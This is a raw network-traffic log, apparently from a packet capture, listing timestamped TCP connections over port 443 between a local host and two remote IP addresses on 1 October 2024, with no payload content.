Oct 1, 2024 15:08:29.869550943 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.869568110 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.869611025 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.869642973 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.869702101 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.911962032 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.911983967 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.912025928 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.912050962 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.912061930 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.912075043 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.912097931 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.912118912 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.912125111 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.912342072 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.912359953 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.912395954 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.912395954 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.912409067 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.912427902 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.912452936 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.912606955 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.912661076 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.912858963 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.912897110 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.912909031 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.912919044 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.912929058 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.912965059 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.912992954 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.912997961 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.915157080 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.915191889 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.915230036 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.915235996 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.915251970 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.915282965 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.915326118 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.915344954 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.915352106 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.915381908 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.915399075 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.915465117 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.915520906 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.915786028 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.915846109 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.948085070 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.948151112 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.948157072 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.948168993 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.948201895 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.948210955 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.948220968 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.948276997 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.948280096 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.948297024 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.948319912 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.948340893 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.955868959 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.955893040 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.955990076 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.955996990 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.956053972 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.956273079 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.956336021 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.999677896 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.999752045 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:29.999938011 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:29.999974966 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.000000954 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.000008106 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.000027895 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.000125885 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.000148058 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.000180006 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.000186920 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.000197887 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.000211954 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.000248909 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.000253916 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.000264883 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.000304937 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.000307083 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.000314951 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.000355005 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.000361919 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.000370979 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.000408888 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.002018929 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.002088070 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.002094984 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.002146006 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.002605915 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.002623081 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.002661943 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.002686024 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.002692938 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.002712011 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.002916098 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.002962112 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.002983093 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.002990007 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.003007889 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.035161972 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.035216093 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.035238028 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.035267115 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.035271883 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.035290956 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.035315990 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.042840004 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.042875051 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.042912006 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.042917967 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.042969942 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.043005943 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.043065071 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.085864067 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.085927963 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.085957050 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.085967064 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.086008072 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.086267948 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.086306095 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.086327076 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.086334944 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.086350918 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.086376905 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.086426973 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.086474895 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.086786985 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.086806059 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.086838007 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.086863041 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.086869955 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.086890936 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.087201118 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.087238073 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.087266922 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.087274075 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.087296963 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.087320089 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.087332964 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.089238882 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.089284897 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.089312077 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.089317083 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.089339972 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.089525938 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.089561939 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.089586020 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.089591026 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.089612007 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.089632988 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.089823961 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.089883089 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.089888096 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.089905977 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.089940071 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.122566938 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.122621059 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.122646093 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.122672081 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.122689009 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.122700930 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.122715950 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.122749090 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.122750044 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.122767925 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.122812033 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.129983902 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.130002022 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.130080938 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.130095005 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.130131960 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.172887087 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.172985077 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.173053026 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.173108101 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.173343897 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.173381090 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.173403025 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.173409939 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.173451900 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.173525095 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.173583031 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.173959017 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.173974991 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.174053907 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.174060106 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.174186945 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.174206972 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.174263954 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.174269915 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.176326990 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.176347017 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.176398039 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.176407099 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.176439047 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.176532030 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.176565886 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.176589966 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.176595926 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.176651001 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.176911116 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.176994085 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.209098101 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.209212065 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.209719896 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.209753036 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.209815025 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.209836960 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.209845066 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.209884882 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.216804028 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.216892004 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.216968060 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.217030048 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.217067957 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.217128992 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.259989977 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.260294914 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.260308981 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.260343075 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.260379076 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.260402918 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.260404110 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.260425091 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.260479927 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.260519981 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.260550022 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.260554075 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.260606050 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.260623932 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.260675907 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.260885000 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.260979891 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.261142969 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.261210918 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.261255980 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.261260986 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.261285067 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.263273001 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.263339043 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.263348103 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.263359070 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.263391018 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.263425112 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.263431072 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.263453007 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.263485909 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.263529062 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.263572931 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.263592005 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.356954098 CEST	443	49777	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.357095957 CEST	443	49777	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.357208014 CEST	49777	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.358004093 CEST	49777	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.358028889 CEST	443	49777	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.361150980 CEST	49784	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.361193895 CEST	443	49784	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.361289978 CEST	49784	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.361594915 CEST	49784	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.361610889 CEST	443	49784	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.373153925 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:30.373178959 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:30.373256922 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:30.373301029 CEST	49786	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:30.373307943 CEST	443	49786	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:30.373375893 CEST	49786	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:30.373522043 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:30.373533010 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:30.373651981 CEST	49786	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:30.373662949 CEST	443	49786	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:30.818680048 CEST	443	49784	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.819067001 CEST	49784	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.819086075 CEST	443	49784	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.820169926 CEST	443	49784	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.820283890 CEST	49784	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.820560932 CEST	49784	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.820573092 CEST	49784	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.820621967 CEST	49784	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.820635080 CEST	443	49784	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.820703030 CEST	49784	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.820904970 CEST	49787	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.820930004 CEST	443	49787	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:30.821048021 CEST	49787	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.821465015 CEST	49787	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:30.821477890 CEST	443	49787	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:31.175914049 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:31.176151991 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:31.176171064 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:31.177201033 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:31.177265882 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:31.178222895 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:31.178281069 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:31.178352118 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:31.192940950 CEST	443	49786	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:31.193249941 CEST	49786	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:31.193264008 CEST	443	49786	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:31.194284916 CEST	443	49786	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:31.194397926 CEST	49786	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:31.194747925 CEST	49786	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:31.194813967 CEST	443	49786	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:31.194861889 CEST	49786	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:31.219410896 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:31.220014095 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:31.220021963 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:31.236232042 CEST	49786	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:31.236247063 CEST	443	49786	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:31.267000914 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:31.283040047 CEST	49786	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.265541077 CEST	443	49787	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:32.265877008 CEST	49787	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:32.265902996 CEST	443	49787	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:32.266957045 CEST	443	49787	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:32.267034054 CEST	49787	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:32.267342091 CEST	49787	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:32.267431021 CEST	443	49787	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:32.267513037 CEST	49787	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:32.268734932 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.268753052 CEST	443	49786	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.268812895 CEST	443	49786	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.268867970 CEST	49786	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.268879890 CEST	443	49786	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.268944025 CEST	49786	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.269948006 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.269958019 CEST	49786	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.269958973 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.269980907 CEST	443	49786	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.270028114 CEST	443	49785	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:32.270037889 CEST	49785	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:32.270042896 CEST	443	49785	152.199.21.175	192.168.2.16
